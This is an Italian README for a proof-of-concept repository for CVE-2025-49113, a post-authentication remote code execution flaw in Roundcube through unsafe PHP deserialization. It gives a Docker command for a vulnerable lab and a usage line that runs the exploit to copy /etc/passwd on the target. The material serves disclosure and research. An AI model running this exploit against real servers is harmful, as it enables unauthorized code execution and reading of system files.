fearsoff-org/cve-2025-49113
È stata scoperta una vulnerabilità critica di esecuzione remota di codice post-autenticazione in Roundcube (versioni ≤ 1.6.10), causata da una deserializzazione non sicura di oggetti PHP. Questa grave falla è rimasta silenziosamente presente nel codice per oltre 10 anni.
Per l'analisi tecnica completa e i dettagli di sfruttamento, visita:
👉 https://fearsoff.org/research/roundcube
Questo installerà Ubuntu 24.04, Roundcube e tutte le dipendenze necessarie all'interno di un container Docker:
docker run --name ubuntu24 \
-p 9876:80 \
-v "$PWD/rc_install.sh":/root/rc_install.sh \
-it ubuntu:24.04 \
bash -c "chmod +x /root/rc_install.sh && /root/rc_install.sh && exec bash"
⚠️ Nota: Utilizzare solo in ambienti isolati. Non esporre le istanze vulnerabili a Internet pubblico.
Questo codice proof-of-concept è fornito esclusivamente a scopo educativo e di ricerca. L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio o per danni derivanti dall'utilizzo di questo codice. L'uso non autorizzato su sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test è illegale e severamente vietato.
Assicurati di avere php installato sul sistema
php CVE-2025-49113.php http://127.0.0.1:9876/ roundcube fearsoff.org "cat /etc/passwd > /tmp/pwned"
Se stai eseguendo Roundcube ≤ 1.6.10, aggiorna immediatamente all'ultima versione patchata per eliminare questa vulnerabilità.
Questo progetto e la documentazione associata sono forniti sotto la Licenza MIT.